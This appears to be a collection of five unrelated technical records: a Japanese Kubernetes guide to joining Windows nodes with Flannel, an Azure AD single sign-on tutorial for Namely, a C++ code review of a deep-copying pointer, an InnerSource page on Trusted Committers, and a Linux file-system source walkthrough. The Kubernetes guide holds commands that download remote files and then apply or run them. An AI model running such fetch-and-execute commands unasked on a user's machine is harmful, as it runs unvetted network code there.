VNIを4096、ポートを4789に設定するために、flannelマニフェストの`net-conf.json`セクションを変更します。次のようになります:
```json
net-conf.json: |
{
"Network": "10.244.0.0/16",
"Backend": {
"Type": "vxlan",
"VNI" : 4096,
"Port": 4789
}
}
```
{{< note >}}Linux上のFlannelがWindows上のFlannelと相互運用するには、VNIを4096およびポート4789に設定する必要があります。これらのフィールドの説明については、[VXLANドキュメント](https://github.com/coreos/flannel/blob/master/Documentation/backends.md#vxlan)を参照してください。{{< /note >}}
{{< note >}}L2Bridge/Host-gatewayモードを使用するには、代わりに`Type`の値を`"host-gw"`に変更し、`VNI`と`Port`を省略します。{{< /note >}}
1. Flannelマニフェストを適用して検証する
Flannelの構成を適用しましょう:
```bash
kubectl apply -f kube-flannel.yml
```
数分後、Flannel Podネットワークがデプロイされていれば、すべてのPodが実行されていることがわかります。
```bash
kubectl get pods -n kube-system
```
出力結果には、実行中のLinux flannel DaemonSetが含まれているはずです:
```
NAMESPACE NAME READY STATUS RESTARTS AGE
...
kube-system kube-flannel-ds-54954 1/1 Running 0 1m
```
1. Windows Flannelとkube-proxy DaemonSetを追加する
これで、Windows互換バージョンのFlannelおよびkube-proxyを追加できます。
互換性のあるバージョンのkube-proxyを確実に入手するには、イメージのタグを置換する必要があります。
次の例は、Kubernetes{{< param "fullversion" >}}の使用方法を示していますが、
独自のデプロイに合わせてバージョンを調整する必要があります。
```bash
curl -L https://github.com/kubernetes-sigs/sig-windows-tools/releases/latest/download/kube-proxy.yml | sed 's/VERSION/{{< param "fullversion" >}}/g' | kubectl apply -f -
kubectl apply -f https://github.com/kubernetes-sigs/sig-windows-tools/releases/latest/download/flannel-overlay.yml
```
{{< note >}}
ホストゲートウェイを使用している場合は、代わりに https://github.com/kubernetes-sigs/sig-windows-tools/releases/latest/download/flannel-host-gw.yml を使用してください。
{{< /note >}}
{{< note >}}
Windowsノードでイーサネット(「Ethernet0 2」など)ではなく別のインターフェースを使用している場合は、次の行を変更する必要があります:
```powershell
wins cli process run --path /k/flannel/setup.exe --args "--mode=overlay --interface=Ethernet"
```
`flannel-host-gw.yml`または`flannel-overlay.yml`ファイルで、それに応じてインターフェースを指定します。
```bash
# 例
curl -L https://github.com/kubernetes-sigs/sig-windows-tools/releases/latest/download/flannel-overlay.yml | sed 's/Ethernet/Ethernet0 2/g' | kubectl apply -f -
```
{{< /note >}}
### Windowsワーカーノードの参加
{{< note >}}
`Containers`機能をインストールし、Dockerをインストールする必要があります。
行うための指示としては、[Dockerエンジンのインストール - Windowsサーバー上のエンタープライズ](https://docs.mirantis.com/docker-enterprise/v3.1/dockeree-products/docker-engine-enterprise/dee-windows.html)を利用できます。
{{< /note >}}
{{< note >}}
Windowsセクションのすべてのコードスニペットは、
Windowsワーカーノードの(管理者)権限を持つPowerShell環境で実行されます。
{{< /note >}}
1. wins、kubelet、kubeadmをインストールします。
```PowerShell
curl.exe -LO https://raw.githubusercontent.com/kubernetes-sigs/sig-windows-tools/master/kubeadm/scripts/PrepareNode.ps1
.\PrepareNode.ps1 -KubernetesVersion {{< param "fullversion" >}}
```
1. `kubeadm`を実行してノードに参加します
コントロールプレーンホストで`kubeadm init`を実行したときに提供されたコマンドを使用します。
このコマンドがなくなった場合、またはトークンの有効期限が切れている場合は、`kubeadm token create --print-join-command`
(コントロールプレーンホスト上で)を実行して新しいトークンを生成します。
#### インストールの確認
次のコマンドを実行して、クラスター内のWindowsノードを表示できるようになります:
```bash
kubectl get nodes -o wide
```
新しいノードが`NotReady`状態の場合は、flannelイメージがまだダウンロード中の可能性があります。
`kube-system`名前空間のflannel Podを確認することで、以前と同様に進行状況を確認できます:
```shell
kubectl -n kube-system get pods -l app=flannel
```
flannel Podが実行されると、ノードは`Ready`状態になり、ワークロードを処理できるようになります。
## {{% heading "whatsnext" %}}
- [Windows kubeadmノードのアップグレード](/docs/tasks/administer-cluster/kubeadm/upgrading-windows-nodes) | 5,203 | CC-BY-4.0 |
<properties
pageTitle="教學課程：將 Azure Active Directory 與 Namely 整合 | Microsoft Azure"
description="了解如何設定 Azure Active Directory 與 Namely 之間的單一登入功能。"
services="active-directory"
documentationCenter=""
authors="jeevansd"
manager="prasannas"
editor=""/>
<tags
ms.service="active-directory"
ms.workload="identity"
ms.tgt_pltfrm="na"
ms.devlang="na"
ms.topic="article"
ms.date="02/10/2016"
ms.author="jeedes"/>
# 教學課程：將 Azure Active Directory 與 Namely 整合
本教學課程的目標為示範如何將 Namely 與 Azure Active Directory (Azure AD) 整合。<br>將 Namely 與 Azure AD 整合可提供下列好處：
- 您可以在 Azure AD 中控制可存取 Namely 的人員
- 您可以讓使用者使用其 Azure AD 帳戶自動登入 Namely (單一登入)
- 您可以在 Azure 傳統入口網站中集中管理您的帳戶
若您想了解 SaaS app 與 Azure AD 整合的更多詳細資訊，請參閱[什麼是搭配 Azure Active Directory 的應用程式存取和單一登入](active-directory-appssoaccess-whatis.md)。
## 必要條件
若要設定 Namely 與 Azure AD 的整合作業，需要下列項目：
- Azure AD 訂用帳戶
- 啟用 Namely 單一登入功能的訂用帳戶
> [AZURE.NOTE] 若要測試本教學課程中的步驟，我們不建議使用生產環境。
若要測試本教學課程中的步驟，您應該遵循這些建議：
- 除非必要，否則您不應使用生產環境，。
- 如果您沒有 Azure AD 試用環境，您可以在[這裡](https://azure.microsoft.com/pricing/free-trial/)取得一個月試用。
## 案例描述
此教學課程的目標是讓您在測試環境中測試 Azure AD 單一登入。<br>本教學課程中說明的案例由二個主要建置組塊組成：
1. 從資源庫加入 Namely
2. 設定並測試 Azure AD 單一登入
## 從資源庫加入 Namely
若要設定 Namely 與 Azure AD 的整合作業，您需要從資源庫將 Namely 新增到受管理的 SaaS 應用程式清單。
**若要從資源庫新增 Namely，請執行下列步驟：**
1. 在 **Azure 傳統入口網站**中，按一下左方瀏覽窗格中的 [Active Directory]。<br><br> ![Active Directory][1]<br>
2. 從 [目錄] 清單中，選取要啟用目錄整合的目錄。
3. 若要開啟應用程式檢視，請在目錄檢視中，按一下頂端功能表中的 [應用程式]。<br><br> ![應用程式][2]<br>
4. 按一下頁面底部的 [加入]。<br><br> ![應用程式][3]<br>
5. 在 [**欲執行動作**] 對話方塊中，按一下 [**從資源庫新增應用程式**]。<br><br> ![應用程式][4]<br>
6. 在搜尋方塊中，輸入 **Namely**。<br><br> <br>
7. 在結果窗格中，選取 [**Namely**]，然後按一下 [**完成**]，以新增應用程式。 <br><br> <br>
## 設定並測試 Azure AD 單一登入
本節目標是示範如何根據名為 「Britta Simon」的測試使用者，使用 Namely 設定及測試 Azure AD 單一登入功能。
若要讓單一登入作用，Azure AD 必須能知道 Namely 與 Azure AD 中互相對應的使用者。換句話說，必須建立 Azure AD 使用者和 Namely 中相關使用者之間的連結關聯性。<br> 建立此連結關聯性的方法，是將 Azure AD 中**使用者名稱**的值指派為 Namely 中 **Username** 的值。
若要使用 Namely 設定及測試 Azure AD 單一登入功能，您需要完成下列建置組塊：
1. **[設定 Azure AD 單一登入](#configuring-azure-ad-single-single-sign-on)** - 讓您的使用者能夠使用此功能。
2. **[建立 Azure AD 測試使用者](#creating-an-azure-ad-test-user)** - 使用 Britta Simon 測試 Azure AD 單一登入。
4. **[建立 Namely 測試使用者](#creating-a-namely-test-user)** - 使 Namely 中，Britta Simon 的對應使用者能夠連結到代表她在 Azure AD 中的項目。
5. **[指派 Azure AD 測試使用者](#assigning-the-azure-ad-test-user)** - 讓 Britta Simon 能夠使用 Azure AD 單一登入。
5. **[測試單一登入](#testing-single-sign-on)** - 驗證組態是否能運作。
### 設定 Azure AD 單一登入
本節的目標是要在 Azure 傳統入口網站中啟用 Azure AD 單一登入，並在您的 Namely 應用程式中設定單一登入。
**若要使用 Namely 設定 Azure AD 單一登入功能，請執行下列步驟：**
1. 在 Azure 傳統入口網站的 **Namely** 應用程式整合頁面上，按一下 [設定單一登入] 來開啟 [設定單一登入] 對話方塊。<br><br> ![設定單一登入][6] <br>
2. 在 [**您希望使用者如何登入 Namely**] 頁面上，選取 [**Azure AD 單一登入**]，然後按一下 **[下一步]**。<br><br>  <br>
3. 在 [**設定應用程式設定**] 對話方塊頁面上，執行下列步驟：<br><br> <br>
a.在 [**登入 URL**] 文字方塊中，輸入使用者用來登入 Namely 應用程式的 URL (例如：**https://fabrikam.Namely.com/*)。
b.按 [下一步]。
4. 在 [**在 Namely 單一登入設定**] 頁面上，執行下列步驟：<br><br> <br>
a.按一下 [下載憑證]，然後將檔案儲存在您的電腦上。
b.按 [下一步]。
1. 在另一個瀏覽器視窗中，以系統管理員身分登入您的 Namely 公司網站。
1. 在頂端的工具列中，按一下 [**公司**]。<br><br> <br>
1. 按一下 [**設定**] 索引標籤。<br><br> <br>
1. 按一下 [**SAML**]。<br><br> <br>
1. 在 [**SAML設定**] 頁面上，執行下列步驟：<br><br> <br>
a.按一下 [啟用 SAML]。
b.在 Azure 傳統入口網站中的 [在 Namely 設定單一登入] 對話方塊頁面上，複製**單一登入服務 URL** 的值，然後貼到 [識別提供者 DDO URL] 文字方塊中。
c.在記事本中開啟下載的憑證，複製其內容，然後貼到 [**識別提供者憑證**] 文字方塊中。
d.按一下 [儲存]。
6. 在 Azure 傳統入口網站中，選取單一登入設定確認項目，然後按一下 [下一步]。<br><br>![Azure AD 單一登入][10]<br>
7. 在 [單一登入確認] 頁面上，按一下 [完成]。<br><br>![Azure AD 單一登入][11]
### 建立 Azure AD 測試使用者
本節目標是在 Azure 傳統入口網站中建立名稱為 Britta Simon 的測試使用者。<br> 在 [使用者] 清單中，選取 [Britta Simon]。<br><br>![建立 Azure AD 使用者][20]<br>
**若要在 Azure AD 中建立測試使用者，請執行下列步驟：**
1. 在 **Azure 傳統入口網站**中，按一下左方瀏覽窗格中的 [Active Directory]。<br><br> <br>
2. 從 [目錄] 清單中，選取要啟用目錄整合的目錄。
3. 若要顯示使用者清單，請按一下功能表頂端的 [使用者]。<br><br>  <br>
4. 若要開啟 [新增使用者] 對話方塊，請按一下底部工具列上的 [新增使用者]。<br><br>  <br>
5. 在 [告訴我們這位使用者] 對話方塊頁面上，執行以下步驟：<br><br>  <br>
a.針對 [使用者類型]，選取 [您組織中的新使用者]。
b.在 [使用者名稱] 文字方塊中，輸入 **BrittaSimon**。
c.按 [下一步]。
6. 在 [使用者設定檔]對話方塊頁面上，執行下列步驟：<br><br> <br>
a.在 [名字] 文字方塊中，輸入 **Britta**。
b.在 [姓氏] 文字方塊中，輸入 **Simon**。
c.在 [顯示名稱] 文字方塊中，輸入 **Britta Simon**。
d.在 [角色] 清單中，選取 [使用者]。按 [下一步]。
7. 在 [取得暫時密碼] 對話方塊頁面上，按一下 [建立]。<br><br>  <br>
8. 在 [取得暫時密碼] 對話方塊頁面上，執行下列步驟：<br><br> <br>
a.記下 [新密碼] 的值。
b.按一下 [完成]。
### 建立 Namely 測試使用者
本節目標是在 Namely 中建立名為 Britta Simon 的使用者。
**若要在 Namely 中建立名為 Britta Simon 的使用者，請執行下列步驟：**
1. 以管理員身分登入您的 Namely 公司網站。
1. 在頂端工具列中，按一下 [**人員**]。<br><br> <br>
1. 按一下 [**目錄**] 索引標籤。<br><br> <br>
1. 按一下 [**新增人員**]。
1. 在 [**新增人員**] 對話方塊上，執行下列步驟：
a.在 [**名字**] 文字方塊中，輸入 **Britta**。
b.在 [**姓氏**]文字方塊中，輸入 **Simon**。
c.在 [電子郵件] 文字方塊中，輸入 Britta 在 Azure 傳統入口網站中的電子郵件地址。
d.按一下 [儲存]。
### 指派 Azure AD 測試使用者
本節目標是授與 Britta Simon Namely 的存取權，使她能夠使用 Azure 單一登入功能。<br><br>![指派使用者][200] <br>
**若要將 Britta Simon 指派到 Namely，請執行下列步驟：**
1. 在 Azure 傳統入口網站中，若要開啟應用程式檢視，請在目錄檢視中，按一下頂端功能表中的 [應用程式]。<br><br>![指派使用者][201] <br>
2. 在應用程式清單中，選取 [**Namely**]。<br><br> <br>
1. 在頂端功能表中，按一下 [**使用者**]。<br><br>![指派使用者][203] <br>
1. 在 [使用者] 清單中，選取 [Britta Simon]。
2. 在底部的工具列中，按一下 [指派]。<br><br>![指派使用者][205]
### 測試單一登入
本節目標是使用存取面板測試您的 Azure AD 單一登入設定。<br> 當您在存取面板中按一下 Namely 圖示時，應該會自動登入 Namely 應用程式。
## 其他資源
* [如何與 Azure Active Directory 整合 SaaS 應用程式的教學課程清單](active-directory-saas-tutorial-list.md)
* [什麼是搭配 Azure Active Directory 的應用程式存取和單一登入？](active-directory-appssoaccess-whatis.md)
<!--Image references-->
[1]: ./media/active-directory-saas-namely-tutorial/tutorial_general_01.png
[2]: ./media/active-directory-saas-namely-tutorial/tutorial_general_02.png
[3]: ./media/active-directory-saas-namely-tutorial/tutorial_general_03.png
[4]: ./media/active-directory-saas-namely-tutorial/tutorial_general_04.png
[6]: ./media/active-directory-saas-namely-tutorial/tutorial_general_05.png
[10]: ./media/active-directory-saas-namely-tutorial/tutorial_general_06.png
[11]: ./media/active-directory-saas-namely-tutorial/tutorial_general_07.png
[20]: ./media/active-directory-saas-namely-tutorial/tutorial_general_100.png
[200]: ./media/active-directory-saas-namely-tutorial/tutorial_general_200.png
[201]: ./media/active-directory-saas-namely-tutorial/tutorial_general_201.png
[203]: ./media/active-directory-saas-namely-tutorial/tutorial_general_203.png
[204]: ./media/active-directory-saas-namely-tutorial/tutorial_general_204.png
[205]: ./media/active-directory-saas-namely-tutorial/tutorial_general_205.png
<!---HONumber=AcomDC_0211_2016--> | 8,176 | CC-BY-3.0 |
# stackexchange [DeepPtr: a deep-copying unique_ptr wrapper in C++](https://codereview.stackexchange.com/questions/103744/deepptr-a-deep-copying-unique-ptr-wrapper-in-c)
When using the **pimple idiom** it is necessary to represent your "impl" as a forward declared pointer in the header file. This necessitates a lot of boilerplate code to implement the [rule of five](https://stackoverflow.com/q/4782757/2779792).
Instead, I want to wrap `std::unique_ptr` with a template class `DeepPtr` which automatically deep copies on copy construction, assignment, and "deep" swaps on move construction and move assignment. The resulting class could also be convenient for "value-like" objects that need to be passed by handle due to polymorphism.
> NOTE:
>
> 1、这段描述的是作者的意图
>
> 2、不清楚的是: ""deep" swaps on move construction and move assignment"，它的含义是什么？显然需要结合下面的实现来看
Areas of concern are:
1、Correct use of the swap idiom (should the local swap function be `private`/`public` or done some other way)?
2、Const correctness of the dereferencing operator overloads
3、Signature of the assignment operator function (`const DeepPtr& other`) which uses this const ref only to copy to temp. This seems strange, but correct.
4、Any other pitfalls that could be caused by this class.
------
```cpp
#pragma once
#include <iostream>
#include <memory>
template<typename T>
class DeepPtr
{
public:
DeepPtr() :
myPtr(nullptr)
{
}
/**
* @brief deep copy
*
* @param value
*/
DeepPtr(const T &value) :
myPtr(new T { value })
{
}
/**
* @brief deep copy
*
* @param other
*/
DeepPtr(const DeepPtr &other) :
myPtr(nullptr)
{
if (other)
{
myPtr = std::unique_ptr<T> { new T { *other } };
}
}
/**
* @brief 为什么move constructor还是使用的deep copy？
*
* @param other
*/
DeepPtr(DeepPtr &&other) :
myPtr(nullptr)
{
if (other)
{
myPtr = std::unique_ptr<T> { new T { *other } };
}
}
/**
* @brief 使用的copy and swap idiom；显然它还是deep copy
*
* @param other
* @return
*/
DeepPtr& operator=(const DeepPtr &other)
{
DeepPtr temp { other };
swap(*this, temp);
return *this;
}
/**
* @brief 没有deep copy
*
* @param other
* @return
*/
DeepPtr& operator=(DeepPtr &&other)
{
swap(*this, other);
return *this;
}
static void swap(DeepPtr &left, DeepPtr &right)
{
std::swap(left.myPtr, right.myPtr);
}
T& operator*()
{
return *myPtr;
}
const T& operator*() const
{
return *myPtr;
}
T* const operator->()
{
return myPtr.operator->();
}
const T* const operator->() const
{
return myPtr.operator->();
}
const T* const get() const
{
return myPtr.get();
}
operator bool() const
{
return (bool) myPtr;
}
private:
std::unique_ptr<T> myPtr;
};
```
## [A](https://codereview.stackexchange.com/a/103792)
### Pragma(s)
Pragma once (like all pragmas) is not supported by all compilers.
```cpp
#pragma once
```
Prefer to use header guards.
You can generate a GUID or you can use the namespace and file name to make it unique.
### Namespace
You have not put your code into a namespace.
### Constructor nullptr
There are some situations where it is nice to be able to construct with an explicit `nullptr`.
[See here](http://lokiastari.com/blog/2015/01/23/c-plus-plus-by-example-smart-pointer-part-iii/)
```cpp
DeepPtr() :myPtr( nullptr ) {}
```
So you could modify this constructor slightly.
```cpp
DeepPtr(std::nullptr_t value = nullptr): myPtr(nullptr) {}
```
### Move Construction.
I though you said on move you wanted to move the object not copy it.
> NOTE: 上面这段话中的是"on move"的意思是"当move的时候"，因此上面这段话的意思是: 当move的时候，你想要move object而不是copy。
>
> 从下面的实现来看，作者是copy:
```cpp
DeepPtr( DeepPtr&& other )
:myPtr( nullptr )
{
if ( other )
{
myPtr = std::unique_ptr<T>{ new T{ *other } };
}
}
```
This does a copy on move construction. Also you should mark you move constructor as `noexcept`. This will give you several advantages when using the object with STL containers (the STL will default to copy even if move is available if the move is not not marked `noexcept`. This is to provide the strong exception guarantee).
Note: You should only mark it as `noexcept` if it will not throw. So you should not do that if you are going to copy only; if you change this to do an actual move then add `noexcept`.
> NOTE: 上面这两段话的核心观点是:
>
> 1、提问者的move constructor是采用的copy而不是move，因此它是会throw的
>
> 2、本回答的作者的建议是将move constructor改为move，如果改为move，则它是non-throw的，因此需要添加`noexcept` specifier
### Copy and Swap
This is technically correct.
```cpp
DeepPtr& operator=( const DeepPtr& other )
{
DeepPtr temp{ other };
swap( *this, temp );
return *this;
}
```
But you get a better optimization if you use passing by value to get your copy. Like this:
```cpp
DeepPtr& operator=(DeepPtr other) // Pass by value gets copy
{
swap( *this, other );
return *this;
}
```
See [What is the copy-and-swap idiom?](https://stackoverflow.com/q/3279543/14065)
### Move Assignment
Looks good. But like the move constructor, The move assignment should be marked as `noexcept`.
```cpp
DeepPtr& operator=( DeepPtr&& other )
{
swap( *this, other );
return *this;
}
```
> NOTE:
>
> 1、上述是典型的基于swap来实现move
### Swap
```cpp
static void swap( DeepPtr& left, DeepPtr& right ) { std::swap( left.myPtr, right.myPtr ); }
```
Missed the `static` first time threw(第一次评审的时候遗漏了static). It is more normal to define a normal `swap` method. Then define a standalone `swap` function. Also like move operations the swap should be marked as `noexcept`.
```cpp
void swap(DeepPtr& other) noexcept {
using std::swap;
swap(*this.myPtr, other.myPtr);
// Adding `using std::swap`
// Then calling swap (without std::)
// Is the normal way of doing this. As it allows for Koenig
// look up of a type specific swap first. If that does not
// exist then the std::swap version will be used by the compiler.
}
};
// outside the class
void swap(DeepPtr& lhs, DeepPtr& rhs) noexcept {
lhs.swap(rhs);
}
```
Now that I have done swap. I would change the move operators too:
```cpp
DeepPtr(DeepPtr&& other) noexcept
:myPtr( nullptr )
{
other.swap(*this);
}
DeepPtr& operator=( DeepPtr&& other ) noexcept
{
other.swap(*this);
return *this;
}
```
### Constness
```cpp
const T* const get() const { return myPtr.get(); }
```
Sure but are you only ever going to want a const version of the pointer. Like the last two operations `operator*` and `operator->` you probably want a symmetric non const version.
### Bool cast
You should mark this `explicit`.
```cpp
operator bool() const { return (bool)myPtr; }
```
See here https://codereview.stackexchange.com/a/93353/507
## [A](https://codereview.stackexchange.com/a/104023)
You already accepted Loki's answer (and he made good points) but there is one comment I wanted to add regarding this:
> Any other pitfalls that could be caused by this class.
Your class has no information on the concrete type held within, causing slicing in the presence of derived classes;
Consider this scenario:
```cpp
class Base { ... }; // not abstract (can be instantiated)
class Derived: public Base { ... };
auto ptr1 = DeepPtr<Base>(new Derived{});
auto ptr2 = ptr1;
```
The last line will populate `ptr2` with a `Base` instance that has all the sliced values from `ptr2`'s `Derived` instance (because `ptr2`'s constructor calls `new T`, which resolves to `new Base` - not `new Derived`).
> NOTE:
>
> 1、典型的object slicing: 将subclass object赋值给base class object
>
> 2、上述例子在 CppCoreGuidelines [C.67: A polymorphic class should suppress copying](https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md#c67-a-polymorphic-class-should-suppress-copying) 中给出了更好的说明，参见其中的例子
You have two possible solutions for this:
1、intrusive(入侵式的) cloning (your class hierarchy rooted in `Base` needs to implement a `virtual Base* clone() = 0` where each specialization of `Base` returns it's own instance); this cloning implementation would be then used for deep copy;
> NOTE:
>
> 1、virtual clone
2、transparent cloning, based on template specialization of a factory function, by the derived type. I needed to implement something similar for the same reason (deep copy of polymorphic pointers). You can see [here](https://codereview.stackexchange.com/questions/54371/polymorphic-owned-reference-wrapper-for-class-hierarchies) my implementation.
See the use of `to_polymorphic` functions in my question, and how they instantiate the correct cloning function, transparently.
## [A](https://codereview.stackexchange.com/a/103804)
> Edit: I'll leave this answer for completeness but you probably shouldn't inherit from a smart pointer or be very careful when doing so: [is-it-ok-to-inherit-from-the-c11-smart-pointers-and-override-the-relative-oper](https://stackoverflow.com/questions/12539581/is-it-ok-to-inherit-from-the-c11-smart-pointers-and-override-the-relative-oper)
It seems to me like there's lot of code that simply wraps the functionality of the `unique_ptr`. Putting aside that having a copyable `unique_ptr` seems a bit dubious (although it seems like a reasonable thing in this context) why don't we inherit from `unique_ptr` and provide the **copy operators**?
```cpp
template <typename T>
struct pimpl_ptr : public std::unique_ptr<T>
{
using std::unique_ptr<T>::unique_ptr;
pimpl_ptr() {};
pimpl_ptr(pimpl_ptr<T> const& other)
{
auto value = *other.get();
this->reset(new T(value));
}
pimpl_ptr<T>& operator=(pimpl_ptr<T> const& other)
{
auto value = *other.get();
this->reset(new T(value));
return *this;
}
};
```
There's probably a handful of improvements that could be made, as per Loki Astari's answer, but I think conceptually this will do the same but in less lines of code. | 10,060 | Apache-2.0 |
---
title: コミュニティのニーズを提唱する
contributors:
- name: Yoshitake Kobayashi
url: https://github.com/ystk
- name: Jun Ohtani
url: https://github.com/johtani
- name: Tom Sadler
url: https://github.com/tsadler1988
- name: Johannes Tigges
url: https://github.com/lenucksi
image: https://img.youtube.com/vi/sqE-Uif_giA/mqdefault.jpg
featured: false
weight: 6
youtubeCode: sqE-Uif_giA
---
<div id="advocating" class="paragraph">
<p>InnerSourceコミュニティは企業内に存在するため、オープンソースコミュニティより制約があります。
時には、コミュニティとビジネスユニットの利益が相反することがあります。
Trusted Committerは、プロジェクトに対する長期的な視点を持っています。
彼らは、健全なコミュニティが、健全なコードの前提条件であることを理解しています。
これが、多くのInnerSourceコミュニティが <a href="http://theapacheway.com/community-over-code/">「コードよりコミュニティ(Community over Code)」</a> をモットーとする Apache Way でモデル化された理由です。
一方でビジネスユニットは、当然ながら、InnerSourceコミュニティにより作成される製品により大きな関心をもちます。
彼らは、短期から中期の業績で利益がでることを好みます。</p>
</div>
<div class="paragraph">
<p>Trusted Committerが重要な役割を果たすのは、この潜在的な競合領域です。
Trusted Committerは、組織との信頼関係を構築し、その信頼関係に基づいて、コミュニティの利益と企業内のソフトウェアの長期的な健全性の擁護者として行動します。
彼らには、技術的なリスクとコミュニティ関連のリスクを経営層に伝える責任があります。
同時に、Trusted Committerは戦略的かつ会社により与えられる自由度の範囲内で活動する必要があります。</p>
</div>
<div class="paragraph">
<p>また、Trusted Committerは、コミュニティと個々の <a href="https://innersourcecommons.org/ja/learn/learning-path/contributor">コントリビューター</a> が、彼らの仕事に対する公な称賛を得られるようにする必要があります。
公な称賛とは、特に自発的にコントリビューションするコントリビューターに与えられ広まるものです。
有益なコントリビューターを公に称え、彼らのマネージャーがコントリビューションを認識していることを確認することは良い慣行です。
称賛を与えることを怠ると、個々のコントリビューターを苛立たせ、コミュニティの健全性を損ねることにもなりかねません。
これは、InnerSourceの作業モデルにまだ慣れていない企業や、陰で動いているInnerSourceコミュニティによってソフトウェアが開発されている場合や、マネージャが単にコミュニティの貢献に気付いていなかった場合に起こります。
優れたTrusted Committerは、マネージメント層と連携して公の称賛を主張します。
称賛を与えないことは、悪意で行われることはほとんどなく、簡単に修正できます。</p>
</div>
<div class="paragraph">
<p>Trusted Committerによる支持が必要となるもう1つの一般的なケースは、 <a href="https://innersourcecommons.org/ja/learn/learning-path/contributor">コントリビューター</a> にコントリビューションする時間や許可が与えられていない場合です
これは、コミュニティがコントリビューターの部署外で製品を開発している場合で、マネージャの目標との関係がない場合に起こる可能性があります。
この場合、Trusted Committerはコントリビューターのマネージャと議論し、代替案の決定を求め働きかける必要があります。</p>
</div>
<div class="paragraph">
<p>要約すると、Trusted Committerが、個々の <a href="https://innersourcecommons.org/ja/learn/learning-path/contributor">コントリビューター</a> とコミュニティ全体の利益を主張する必要がある状況は多々あります。
Trusted Committerは、コミュニティが組織に提供できる価値は、コミュニティの健全性と寿命、そして最終的には両者の信頼関係に依存していることを理解しています。</p>
</div>
<!--- This file autogenerated from https://github.com/InnerSourceCommons/InnerSourceLearningPath/blob/master/scripts --> | 2,440 | MIT |
---
layout: post
title: Linux in Depth - 文件系统及 Socket 源码解析
subtitle: 源码面前，了无秘密
tags: [Linux]
---
本文目标是深入探讨下 sockfd 指向的 socket 到底是啥。首先，socket 当然是文件（Unix 下又有什么不是文件呢），但是我希望能够将 socket 和普通文件联系起来，有一个明确的概念，也就是：文件在 Linux 下到底是什么？Socket 又与其有何区别？
接下来的讨论假定读者已经阅读过 APUE 第三章，对 Unix 文件系统有基本了解。然后我们再来看 Linux 下的文件系统结构。
首先，在 Linux 下，每个进程都有对应的一个 [task_struct](https://github.com/torvalds/linux/blob/master/include/linux/sched.h) （include/linux/sched.h）结构体来管理进程。这个结构体的代码长达 617 行，几乎是内核中最复杂的一个结构体了，鉴于其究极复杂程度，这里只摘要出我们所关心的和文件系统相关的代码：
```c
struct task_struct {
// ...
/* Filesystem information: */
struct fs_struct *fs;
/* Open file information: */
struct files_struct *files;
// ...
}
```
我们先看 [fs_struct](https://github.com/torvalds/linux/blob/ead751507de86d90fa250431e9990a8b881f713c/include/linux/fs_struct.h)（include/linux/fs_struct.h)：
```c
struct fs_struct {
int users;
spinlock_t lock;
seqcount_t seq;
int umask;
int in_exec;
struct path root, pwd;
}
// inlcude/linux/path.h
struct path {
// ...
struct vfsmount *mnt;
struct dentry *dentry;
}
```
这个结构比较简单，里面保存的是当前文件系统的信息，从变量名可以看出，还保存了 root 和 pwd 信息。其中的 dentry 我们暂且不管。
然后再看 [files_struct](https://github.com/torvalds/linux/blob/35277995e17919ab838beae765f440674e8576eb/include/linux/fdtable.h)（include/linux/fdtable.h），同样的，我们将细节代码省去：
```c
struct files_struct {
// ...
struct fdtable __rcu *fdt;
// ...
}
struct fdtable {
unsigned int max_fds;
struct file __rcu **fd; /* current fd array */
unsigned long *close_on_exec;
unsigned long *open_fds;
unsigned long *full_fds_bits;
struct rcu_head rcu;
};
```
可以看到，files\_struct 最主要的内容就是一个指针指向一个 file 结构的数组，数组的大小由 max_fds 标记。
**Note:** 注意，我们通过 open 或者 socket 拿到的 fd 其实就是这个数组的 index，到现在为止，我们的结构及信息都是进程内部私有的，`struct file __rcu **fd;` 指向的 file 结构则是所谓的全局打开文件表了。
[file](https://github.com/torvalds/linux/blob/master/include/linux/fs.h)（include/linux/fs.h）结构的关键代码如下：
```c
struct file {
// ...
struct path f_path;
struct inode *f_inode; /* cached value */
const struct file_operations *f_op;
unsigned int f_flags;
fmode_t f_mode;
struct mutex f_pos_lock;
loff_t f_pos;
}
```
其中，打开文件的状态标志及偏移量就记录在 file 结构内。我们暂时忽略 file_operations，那么，其中最关键的结构就是 f\_path 中包含的 dentry 及大名鼎鼎的 inode 了。
我们先来看 [dentry](https://github.com/torvalds/linux/blob/ad1d69735878a6bf797705b5d2a20316d35e1113/include/linux/dcache.h)（include/linux/dcache.h）：
```c
struct dentry {
struct dentry *d_parent; /* parent directory */
struct qstr d_name;
struct inode *d_inode; /* Where the name belongs to - NULL is
* negative */
const struct dentry_operations *d_op;
struct super_block *d_sb; /* The root of the dentry tree */
struct list_head d_child; /* child of parent list */
struct list_head d_subdirs; /* our children */
}
```
dentry 代表的就是操作系统描述文件系统时，给出的目录项的概念。我们可以想象一个文件拥有很多信息，包括文件长度、磁盘位置、创建时间、更新时间等，这些信息 Linux 由 inode 结构来管理，同时，由于符号链接的存在，每个物理文件可以由多个逻辑文件名，所以和文件名相关信息交由 dentry 结构管理。同样的，我们暂时忽略 dentry_operations 这个结构。
其中 d_inode 指针指向对应的 inode 结构。[inode](https://github.com/torvalds/linux/blob/master/include/linux/fs.h)（include/linux/fs.h）结构的关键代码如下：
```c
struct inode {
// ...
const struct inode_operations *i_op;
struct super_block *i_sb;
loff_t i_size; // 文件大小，字节数
blkcnt_t i_blocks; // 文件大小，块数
struct timespec64 i_atime;
struct timespec64 i_mtime;
struct timespec64 i_ctime;
}
```
如上文所述，关于文件的大部分信息都保存在 inode 结构中。到目前为止，我们忽略了 `file_operations`、`dentry_operations`、`inode_operations`，我们现在来看下这些结构是干嘛的：
```c
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char __user *, size_t, loff_t *);
ssize_t (*write) (struct file *, const char __user *, size_t, loff_t *);
// ...
};
struct dentry_operations {
int (*d_delete)(const struct dentry *);
int (*d_init)(struct dentry *);
char *(*d_dname)(struct dentry *, char *, int);
// ...
};
struct inode_operations {
int (*create) (struct inode *,struct dentry *, umode_t, bool);
int (*link) (struct dentry *,struct inode *,struct dentry *);
int (*unlink) (struct inode *,struct dentry *);
int (*symlink) (struct inode *,struct dentry *,const char *);
int (*mkdir) (struct inode *,struct dentry *,umode_t);
int (*rmdir) (struct inode *,struct dentry *);
// ...
};
```
这样子一下子就清晰了，operations 这种结构就是保存这各类适用于该结构的函数指针，具体函数实现再交由如 ext2 这样的具体文件系统来实现。
到现在为止，我们终于对 Linux 文件系统有一个较为清晰的认识了：
----
讲了这么多，我们总算可以继续探讨最开始的问题：socket 到底是啥？
